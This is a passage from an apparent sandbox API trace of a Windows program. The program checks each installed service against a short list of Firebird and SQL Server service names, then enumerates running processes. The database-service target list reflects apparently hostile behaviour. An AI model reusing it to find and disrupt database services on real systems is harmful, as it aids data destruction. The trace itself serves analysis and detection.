(lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0113.629] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0113.629] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0113.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0113.629] lstrlenW (lpString="lmhosts") returned 7 [0113.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0113.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0113.629] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0113.629] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0113.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0113.629] lstrlenW (lpString="LSM") returned 3 [0113.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0113.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0113.629] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0113.630] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0113.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0113.630] lstrlenW (lpString="MapsBroker") returned 10 [0113.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0113.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0113.630] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0113.630] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0113.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0113.630] lstrlenW (lpString="MpsSvc") returned 6 [0113.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0113.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0113.630] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0113.630] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0113.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0113.630] lstrlenW (lpString="NcbService") returned 10 [0113.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0113.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0113.630] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0113.630] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0113.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0113.630] lstrlenW (lpString="netprofm") returned 8 [0113.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0113.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0113.630] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0113.630] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0113.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0113.630] lstrlenW (lpString="NlaSvc") returned 6 [0113.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0113.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0113.630] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0113.630] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0113.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0113.630] lstrlenW (lpString="nsi") returned 3 [0113.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0113.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0113.631] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0113.631] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0113.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0113.631] lstrlenW (lpString="PcaSvc") returned 6 [0113.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0113.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0113.631] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0113.631] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0113.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0113.631] lstrlenW (lpString="PlugPlay") returned 8 [0113.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0113.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0113.631] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0113.631] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0113.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0113.631] lstrlenW (lpString="Power") returned 5 [0113.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0113.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0113.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0113.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0113.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0113.631] lstrlenW (lpString="ProfSvc") returned 7 [0113.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0113.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0113.631] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0113.631] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0113.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0113.631] lstrlenW (lpString="RpcEptMapper") returned 12 [0113.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0113.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0113.631] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0113.632] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0113.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0113.632] lstrlenW (lpString="RpcSs") returned 5 [0113.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0113.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0113.632] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0113.632] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0113.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0113.632] lstrlenW (lpString="SamSs") returned 5 [0113.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0113.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0113.632] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0113.632] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0113.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0113.632] lstrlenW (lpString="Schedule") returned 8 [0113.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0113.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0113.632] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0113.632] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0113.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0113.632] lstrlenW (lpString="SecurityHealthService") returned 21 [0113.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0113.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0113.632] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0113.632] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0113.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0113.632] lstrlenW (lpString="SENS") returned 4 [0113.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0113.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0113.633] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0113.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0113.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0113.633] lstrlenW (lpString="ShellHWDetection") returned 16 [0113.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0113.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0113.633] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0113.633] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0113.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0113.633] lstrlenW (lpString="Spooler") returned 7 [0113.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0113.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0113.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0113.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0113.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0113.633] lstrlenW (lpString="SSDPSRV") returned 7 [0113.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0113.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0113.633] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0113.633] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0113.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0113.633] lstrlenW (lpString="StateRepository") returned 15 [0113.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0113.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0113.633] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0113.634] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0113.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0113.634] lstrlenW (lpString="SysMain") returned 7 [0113.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0113.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0113.634] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0113.634] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0113.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x607720 | out: hHeap=0x5b0000) returned 1 [0113.634] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x358 [0114.279] Process32FirstW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0114.280] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0114.281] lstrlenW (lpString="System") returned 6 [0114.281] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0114.282] lstrlenW (lpString="smss.exe") returned 8 [0114.282] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.282] lstrlenW (lpString="csrss.exe") returned 9 [0114.283] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0114.283] lstrlenW (lpString="wininit.exe") returned 11 [0114.283] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0114.284] lstrlenW (lpString="csrss.exe") returned 9 [0114.284] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0114.286] lstrlenW (lpString="winlogon.exe") returned 12 [0114.286] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0114.287] lstrlenW (lpString="services.exe") returned 12 [0114.287] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0114.288] lstrlenW (lpString="lsass.exe") returned 9 [0114.288] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.289] lstrlenW (lpString="svchost.exe") returned 11 [0114.289] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0114.290] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0114.290] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0114.292] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0114.292] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.293] lstrlenW (lpString="svchost.exe") returned 11 [0114.293] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0114.294] lstrlenW (lpString="dwm.exe") returned 7 [0114.294] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.295] lstrlenW (lpString="svchost.exe") returned 11 [0114.295] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.296] lstrlenW (lpString="svchost.exe") returned 11 [0114.296] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.297] lstrlenW (lpString="svchost.exe") returned 11 [0114.297] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.298] lstrlenW (lpString="svchost.exe") returned 11 [0114.298] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.299] lstrlenW (lpString="svchost.exe") returned 11 [0114.299] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.299] lstrlenW (lpString="svchost.exe") returned 11 [0114.300] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.300] lstrlenW (lpString="svchost.exe") returned 11 [0114.300] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.301] lstrlenW (lpString="svchost.exe") returned 11 [0114.301] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.302] lstrlenW (lpString="svchost.exe") returned 11 [0114.302] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0114.302] lstrlenW (lpString="spoolsv.exe") returned 11 [0114.302] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.303] lstrlenW (lpString="svchost.exe") returned 11 [0114.303] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.304] lstrlenW (lpString="svchost.exe") returned 11 [0114.304] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0114.304] lstrlenW (lpString="audiodg.exe") returned 11 [0114.304] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0114.305] lstrlenW (lpString="sihost.exe") returned 10 [0114.305] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0114.306] lstrlenW (lpString="svchost.exe") returned 11 [0114.306] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.306] lstrlenW (lpString="taskhostw.exe") returned 13 [0114.306] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0114.307] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0114.307] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0114.308] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0114.308] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0114.308] lstrlenW (lpString="explorer.exe") returned 12 [0114.308] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0114.309] lstrlenW (lpString="Memory Compression") returned 18 [0114.309] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0114.310] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0114.310] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0114.312] lstrlenW (lpString="SearchUI.exe") returned 12 [0114.312] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0114.313] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0114.313] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0114.314] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0114.314] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.315] lstrlenW (lpString="taskhostw.exe") returned 13 [0114.315] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0114.315] lstrlenW (lpString="UsoClient.exe") returned 13 [0114.315] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0114.316] lstrlenW (lpString="taskhostw.exe") returned 13 [0114.316] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 